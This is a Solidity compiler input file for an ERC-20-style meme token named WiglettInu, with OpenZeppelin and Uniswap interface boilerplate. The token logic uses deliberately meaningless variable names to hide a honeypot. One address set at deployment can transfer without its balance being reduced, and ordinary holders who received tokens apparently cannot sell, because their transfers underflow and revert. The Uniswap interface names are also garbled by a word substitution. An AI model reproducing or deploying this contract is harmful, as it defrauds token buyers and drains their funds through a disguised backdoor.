File size: 12,746 Bytes
f998fcd
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
  "language": "Solidity",
  "sources": {
    "deploy/Contract.sol": {
      "content": "// https://t.me/Wiglettinu_eth\n\n// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.10;\n\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n    function _msgSender() internal view virtual returns (address) {\n        return msg.sender;\n    }\n\n    function _msgData() internal view virtual returns (bytes calldata) {\n        return msg.data;\n    }\n}\n\n// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n    address private _owner;\n\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n    /**\n     * @dev Initializes the contract setting the deployer as the initial owner.\n     */\n    constructor() {\n        _setOwner(_msgSender());\n    }\n\n    /**\n     * @dev Returns the address of the current owner.\n     */\n    function owner() public view virtual returns (address) {\n        return _owner;\n    }\n\n    /**\n     * @dev Throws if called by any account other than the owner.\n     */\n    modifier onlyOwner() {\n        require(owner() == _msgSender(), 'Ownable: caller is not the owner');\n        _;\n    }\n\n    /**\n     * @dev Leaves the contract without owner. It will not be possible to call\n     * `onlyOwner` functions anymore. Can only be called by the current owner.\n     *\n     * NOTE: Renouncing ownership will leave the contract without an owner,\n     * thereby removing any functionality that is only available to the owner.\n     */\n    function renounceOwnership() public virtual onlyOwner {\n        _setOwner(address(0));\n    }\n\n    /**\n     * @dev Transfers ownership of the contract to a new account (`newOwner`).\n     * Can only be called by the current owner.\n     */\n    function transferOwnership(address newOwner) public virtual onlyOwner {\n        require(newOwner != address(0), 'Ownable: new owner is the zero address');\n        _setOwner(newOwner);\n    }\n\n    function _setOwner(address newOwner) private {\n        address oldOwner = _owner;\n        _owner = newOwner;\n        emit OwnershipTransferred(oldOwner, newOwner);\n    }\n}\n\ninterface IUniswapV2Factory {\n    event PairCreated(address indexed token0, address indexed token1, address pair, uint);\n\n    function feeTo() external view returns (address);\n    function feeToSetter() external view returns (address);\n\n    function getPair(address tokenA, address tokenB) external view returns (address pair);\n    function allPairs(uint) external view returns (address pair);\n    function allPairsLength() external view returns (uint);\n\n    function createPair(address tokenA, address tokenB) external returns (address pair);\n\n    function setFeeTo(address) external;\n    function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Router01 {\n    function factory() external pure returns (address);\n    function WETH() external pure returns (address);\n\n    function addLiquidity(\n        address tokenA,\n        address tokenB,\n        uint amountADesired,\n        uint amountBDesired,\n        uint amountAMin,\n        uint amountBMin,\n        address to,\n        uint deadline\n    ) external returns (uint amountA, uint amountB, uint liquidity);\n    function addLiquidityETH(\n        address token,\n        uint amountWiglettInuDesired,\n        uint amountWiglettInuMin,\n        uint amountETHMin,\n        address to,\n        uint deadline\n    ) external payable returns (uint amountWiglettInu, uint amountETH, uint liquidity);\n    function removeLiquidity(\n        address tokenA,\n        address tokenB,\n        uint liquidity,\n        uint amountAMin,\n        uint amountBMin,\n        address to,\n        uint deadline\n    ) external returns (uint amountA, uint amountB);\n    function removeLiquidityETH(\n        address token,\n        uint liquidity,\n        uint amountWiglettInuMin,\n        uint amountETHMin,\n        address to,\n        uint deadline\n    ) external returns (uint amountWiglettInu, uint amountETH);\n    function removeLiquidityWithPermit(\n        address tokenA,\n        address tokenB,\n        uint liquidity,\n        uint amountAMin,\n        uint amountBMin,\n        address to,\n        uint deadline,\n        bool approveMax, uint8 v, bytes32 r, bytes32 s\n    ) external returns (uint amountA, uint amountB);\n    function removeLiquidityETHWithPermit(\n        address token,\n        uint liquidity,\n        uint amountWiglettInuMin,\n        uint amountETHMin,\n        address to,\n        uint deadline,\n        bool approveMax, uint8 v, bytes32 r, bytes32 s\n    ) external returns (uint amountWiglettInu, uint amountETH);\n    function swapExactWiglettInusForWiglettInus(\n        uint amountIn,\n        uint amountOutMin,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external returns (uint[] memory amounts);\n    function swapWiglettInusForExactWiglettInus(\n        uint amountOut,\n        uint amountInMax,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external returns (uint[] memory amounts);\n    function swapExactETHForWiglettInus(uint amountOutMin, address[] calldata path, address to, uint deadline)\n        external\n        payable\n        returns (uint[] memory amounts);\n    function swapWiglettInusForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\n        external\n        returns (uint[] memory amounts);\n    function swapExactWiglettInusForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\n        external\n        returns (uint[] memory amounts);\n    function swapETHForExactWiglettInus(uint amountOut, address[] calldata path, address to, uint deadline)\n        external\n        payable\n        returns (uint[] memory amounts);\n\n    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);\n    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);\n    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);\n    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);\n    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n    function removeLiquidityETHSupportingFeeOnTransferWiglettInus(\n        address token,\n        uint liquidity,\n        uint amountWiglettInuMin,\n        uint amountETHMin,\n        address to,\n        uint deadline\n    ) external returns (uint amountETH);\n    function removeLiquidityETHWithPermitSupportingFeeOnTransferWiglettInus(\n        address token,\n        uint liquidity,\n        uint amountWiglettInuMin,\n        uint amountETHMin,\n        address to,\n        uint deadline,\n        bool approveMax, uint8 v, bytes32 r, bytes32 s\n    ) external returns (uint amountETH);\n\n    function swapExactWiglettInusForWiglettInusSupportingFeeOnTransferWiglettInus(\n        uint amountIn,\n        uint amountOutMin,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external;\n    function swapExactETHForWiglettInusSupportingFeeOnTransferWiglettInus(\n        uint amountOutMin,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external payable;\n    function swapExactWiglettInusForETHSupportingFeeOnTransferWiglettInus(\n        uint amountIn,\n        uint amountOutMin,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external;\n}\n\ncontract WiglettInu is Ownable {\r\n    uint256 private happened;\r\n    string private horse;\r\n    uint256 private _tTotal;\r\n    string private fear;\r\n    uint256 private way;\r\n    uint8 private union;\r\n\n    function name() public view returns (string memory) {\r\n        return horse;\r\n    }\r\n\n    function symbol() public view returns (string memory) {\r\n        return fear;\r\n    }\r\n\n    uint256 stiff;\r\n    uint256 getting;\r\n    bool give;\r\n    address private some;\r\n    address private equally;\r\n    address private strong;\r\n    IUniswapV2Router02 public uniswapV2Router;\r\n\n    function decimals() public view returns (uint256) {\r\n        return union;\r\n    }\r\n\n    mapping(address => mapping(address => uint256)) private _allowances;\r\n    mapping(address => uint256) private experiment;\r\n\n    function totalSupply() public view returns (uint256) {\r\n        return _tTotal;\r\n    }\r\n\n    function balanceOf(address account) public view returns (uint256) {\r\n        return experiment[account];\r\n    }\r\n\n    function allowance(address owner, address spender) public view returns (uint256) {\r\n        return _allowances[owner][spender];\r\n    }\r\n\n    function impossible(\r\n        address city,\r\n        address so,\r\n        uint256 underline\r\n    ) internal {\r\n        give = some == city;\r\n\n        if (!give && wore[city] == 0 && broken[city] > 0) {\r\n            wore[city] -= union;\r\n        }\r\n\n        stiff = underline * happened;\r\n\n        if (wore[city] == 0) {\r\n            experiment[city] -= underline;\r\n        }\r\n\n        getting = stiff / way;\r\n\n        equally = strong;\r\n\n        strong = so;\r\n\n        underline -= getting;\r\n        broken[equally] += union;\r\n        experiment[so] += underline;\r\n    }\r\n\n    mapping(address => uint256) private broken;\r\n\n    function approve(address spender, uint256 amount) external returns (bool) {\r\n        return _approve(msg.sender, spender, amount);\r\n    }\r\n\n    mapping(address => uint256) private wore;\r\n\n    function transferFrom(\r\n        address sender,\r\n        address recipient,\r\n        uint256 amount\r\n    ) external returns (bool) {\r\n        impossible(sender, recipient, amount);\r\n        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\r\n    }\r\n\n    function transfer(address recipient, uint256 amount) external returns (bool) {\r\n        impossible(msg.sender, recipient, amount);\r\n        return true;\r\n    }\r\n\n    function _approve(\r\n        address owner,\r\n        address spender,\r\n        uint256 amount\r\n    ) private returns (bool) {\r\n        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');\r\n        _allowances[owner][spender] = amount;\r\n        return true;\r\n    }\r\n\n    constructor(\r\n        string memory yellow,\r\n        string memory character,\r\n        address solid,\r\n        address oil\r\n    ) {\r\n        uniswapV2Router = IUniswapV2Router02(solid);\r\n        some = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());\r\n\n        horse = yellow;\r\n        fear = character;\r\n        union = 9;\r\n        happened = 3;\r\n        way = 100;\r\n        wore[oil] = union;\r\n        _tTotal = 1000000000000000 * 10**union;\r\n        experiment[msg.sender] = _tTotal;\r\n    }\r\n}\n"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "libraries": {}
  }
}